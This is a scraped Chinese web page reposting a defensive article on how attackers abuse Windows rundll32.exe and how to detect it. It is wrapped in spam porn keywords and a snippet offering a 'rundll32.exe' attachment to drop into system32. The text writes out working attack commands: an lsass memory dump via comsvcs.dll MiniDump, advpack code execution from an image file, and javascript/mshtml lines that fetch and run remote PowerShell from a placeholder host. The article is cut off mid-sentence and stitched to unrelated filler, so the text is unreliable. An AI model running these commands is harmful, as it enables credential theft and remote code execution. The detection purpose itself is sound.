damoshayu.cn,苍井空浴缸大战猛男120分钟,网址你懂的,中国女人内射6XXXXXWWW

rundll32(主進(jìn)程rundll32)

前沿拓展:

rundll32

傳一個(gè)給你,拷到c:windowssystem32里看看。
附件:rundll32.exe


rundll32(主進(jìn)程rundll32)

前言

要做好檢測(cè)能力,必須得熟悉你的系統(tǒng)環(huán)境,只有足夠了解正常行為,才能真正找出異常(Anomaly)和威脅(Threat)

在上篇文章中介紹 CS 的一些行為特征時(shí),經(jīng)常提及 rundll32.exe,哪怕非安全人員,可能對(duì)該進(jìn)程都不陌生

顧名思義,rundll32.exe 可用于執(zhí)行 DLL 文件,也能調(diào)用該文件中的內(nèi)部函數(shù)

它的歷史差不多能追溯到 Windows 95,幾乎是所有 Windows **作系統(tǒng)的必需組件,不能輕易地被禁用

攻擊者可以借助 rundll32.exe 加載 DLL 文件中的惡意代碼,避免像其它 EXE 文件一樣直接在進(jìn)程樹中現(xiàn)行

另外,攻擊者還可能濫用合法 DLL 文件中的導(dǎo)出函數(shù),比如待會(huì)兒就會(huì)介紹到的 comsvcs.dll 和 MiniDump

除了加載 DLL 文件,rundll32.exe 還能通過 RunHtmlApplication 函數(shù)執(zhí)行 JavaScript

正因?yàn)檫@些特性,rundll32.exe 很容易博得攻擊者的青睞,在攻擊技術(shù)流行度中常常名列前茅

rundll32(主進(jìn)程rundll32)

常用場(chǎng)景

對(duì)于 rundll32.exe,最簡(jiǎn)單粗暴的用法當(dāng)然是直接指定文件名稱,執(zhí)行目標(biāo) DLL:

rundll32.exe <dllname>

當(dāng)然,在我們?nèi)粘J褂?*作系統(tǒng)的過程中,見得最多的可能是通過 rundll32.exe 調(diào)用某些 DLL 文件中的特定函數(shù)這一行為:

rundll32.exe <dllname>,<entrypoint> <optional arguments>

譬如,在我們右鍵點(diǎn)擊某文檔,選擇特定的“打開方式”,第二會(huì)彈出個(gè)窗口供我們指定用于打開的應(yīng)用程序,實(shí)際上就相當(dāng)于在后臺(tái)執(zhí)行了以下命令:

C:WindowsSystem32rundll32.exe C:WindowsSystem32shell32.dll,OpenAs_RunDLL <file_path>

拿修改 hosts 文件舉個(gè)例子,通過 WIN+R 執(zhí)行以下命令,即可彈出該選擇窗口:

C:WindowsSystem32rundll32.exe C:WindowsSystem32shell32.dll,OpenAs_RunDLL C:WindowsSystem32driversetchosts

rundll32(主進(jìn)程rundll32)

類似行為在我們的日志中呈現(xiàn)出來通常會(huì)是這么個(gè)模樣:

rundll32(主進(jìn)程rundll32)

關(guān)于 shell32.dll,比較常見的函數(shù)還有 Control_RunDLLControl_RunDLLAsUser,它們可以用于運(yùn)行 .CPL 文件,一般主要是控制面板中的小程序

例如打開防火墻: C:WINDOWSSystem32rundll32.exe C:WINDOWSSystem32shell32.dll,Control_RunDLL C:WINDOWSSystem32firewall.cpl

rundll32(主進(jìn)程rundll32)

很顯然,這里的 CPL 文件也可以被替換成惡意文件,所以一旦出現(xiàn)可疑的路徑及文件名,我們就需要結(jié)合其它工具來檢查它的合法性

關(guān)于這一攻擊手法的使用細(xì)節(jié),這篇 Paper 值得一讀,本文就不展開闡述了

另外附上一張表格鏈接,其中包含了 Windows 10 上 rundll32.exe 可快速調(diào)用的命令清單及其功能含義

畢竟人生苦短,大家都沒時(shí)間去記住那么多命令,但是不妨先 mark 一下,等到有需要時(shí)可以迅速查出其含義

攻擊方式

借助 rundll32.exe 實(shí)現(xiàn)的攻擊方式非常多,這里我只簡(jiǎn)單介紹幾種比較有特色的利用姿勢(shì)

合法的DLL調(diào)用

攻擊者如果使用合法的 DLL 文件來完成攻擊活動(dòng),按照傳統(tǒng)的檢測(cè)手段,確實(shí)會(huì)大大增加防守難度

例如利用 comsvcs.dll 中的 MiniDump 函數(shù)對(duì)目標(biāo)進(jìn)程進(jìn)行內(nèi)存轉(zhuǎn)儲(chǔ),從而實(shí)現(xiàn)憑證竊取,參考這里:

C:WindowsSystem32rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump <PID> C:templsass.dmp full

rundll32(主進(jìn)程rundll32)

類似的還有 a**pack.dll,原本是用于幫助硬件和軟件讀取和驗(yàn)證.INF文件,也會(huì)被攻擊者用做代碼執(zhí)行

印象比較深刻的是之前分析一些木馬**時(shí)見過類似的使用技巧,特意搜了下,這里好像也有相關(guān)文章:

rundll32(主進(jìn)程rundll32)

該**在圖片中存放惡意代碼,通過白利用完成代碼執(zhí)行,不熟悉的小伙伴遇見了真的很容易被瞞過去:

c:windowssystem32rundll32.exe a**pack.dll,LaunchINFSection c:microsoft360666.png,DefaultInstall

當(dāng)然,這些攻擊手法在實(shí)際使用過程中肯定會(huì)有許多變種,用于繞過一些常規(guī)的檢測(cè)方式,比如 MiniDump 函數(shù)的調(diào)用也可以通過編號(hào) #24 完成

感興趣的朋友可以看看這里:

rundll32(主進(jìn)程rundll32)

遠(yuǎn)程代碼加載

除了本地加載之外,rundll32.exe 也可以通過 RunHtmlApplication 函數(shù)執(zhí)行 JavaScript 以實(shí)現(xiàn)遠(yuǎn)程代碼加載,例如:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")

rundll32(主進(jìn)程rundll32)

值得一提的是,根據(jù)筆者的觀察,目前還沒怎么看到日常活動(dòng)中關(guān)于 javasciprt 關(guān)鍵字的合理使用場(chǎng)景,所以通常我會(huì)直接將該特征加入檢測(cè)模型

想深入了解這一攻擊手法,更多內(nèi)容可以看看這篇文章

濫用COM組件

關(guān)于 rundll32.exe 還有一些比較少見的命令行參數(shù) ———— -sta-localserver,它們倆都能用來加載惡意注冊(cè)的 COM 組件

登上自家的 SIEM 去看看,說不定也能夠發(fā)現(xiàn)以下活動(dòng)(至少我確實(shí)根據(jù)相關(guān)數(shù)據(jù)狩獵到了一些有意思的活動(dòng):P)

rundll32.exe –localserver <CLSID_GUID>rundll32.exe –sta <CLSID_GUID>

對(duì) COM 組件不熟悉的童鞋可能需要先得去補(bǔ)補(bǔ)課,比如 ATT&CK 在持久化階段中提及到的 T1546.015-Component Object Model Hijacking

簡(jiǎn)單來講,當(dāng)我們看到類似的命令行參數(shù)時(shí),最好先去看看對(duì)應(yīng)注冊(cè)表下的鍵值對(duì)是否包含惡意的 DLL 文件或 SCT 腳本

它們通常在這個(gè)位置:HKEY_CLASSES_ROOTCLSID<GUID>,可結(jié)合下圖食用

rundll32(主進(jìn)程rundll32)

關(guān)于具體的利用原理和攻擊細(xì)節(jié)可以看看這里,還有這篇文章中提到的使用 -localserver 作為攻擊變種的使用姿勢(shì)

檢測(cè)技巧命令行檢測(cè)

第一讓我們一起回顧一遍 rundll32.exe 的基本使用方法:

rundll32.exe <dllname>,<entrypoint> <optional arguments>

從 rundll32 的文件位置開始,我們可以設(shè)定一條最基礎(chǔ)的檢測(cè)規(guī)則,因?yàn)樗ǔV挥幸韵聝煞N選擇:

– C:WindowsSystem32rundll32.exe
– C:WindowsSysWOW64rundll32.exe (32bit version on 64bit systems)

雖然簡(jiǎn)單,但也不并一定完全無用武之地:

rundll32(主進(jìn)程rundll32)

接著,讓我們開始關(guān)注 DLL 文件和導(dǎo)出函數(shù)

通過前文的介紹,我們應(yīng)該能達(dá)成共識(shí):原創(chuàng)發(fā)布轉(zhuǎn)載,請(qǐng)參考轉(zhuǎn)載聲明,注明出處: https://www.anquanke.com/post/id/263193安全客 – 有思想的安全新媒體

拓展知識(shí):

rundll32

rundll32是重要系統(tǒng)動(dòng)態(tài)鏈接庫(kù)文件,主要是控制面板調(diào)用。這個(gè)很正常,不用關(guān)心它。

原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請(qǐng)注明出處:http:///22154.html